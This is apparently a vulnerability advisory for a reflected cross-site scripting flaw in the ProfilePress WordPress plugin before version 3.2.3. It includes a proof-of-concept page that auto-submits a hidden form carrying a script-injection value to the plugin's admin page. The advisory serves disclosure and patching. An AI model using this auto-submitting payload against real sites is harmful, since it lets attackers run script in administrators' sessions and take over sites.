WordPress Plugin Vulnerabilities

ProfilePress < 3.2.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape the ppress_cc_data parameter before outputting it back in an attribute of an admin dashboard page, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=pp-content-protection&add=1" id="hack" method="POST">
      <input type="hidden" name="ppress_cc_data[title]" value='"><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
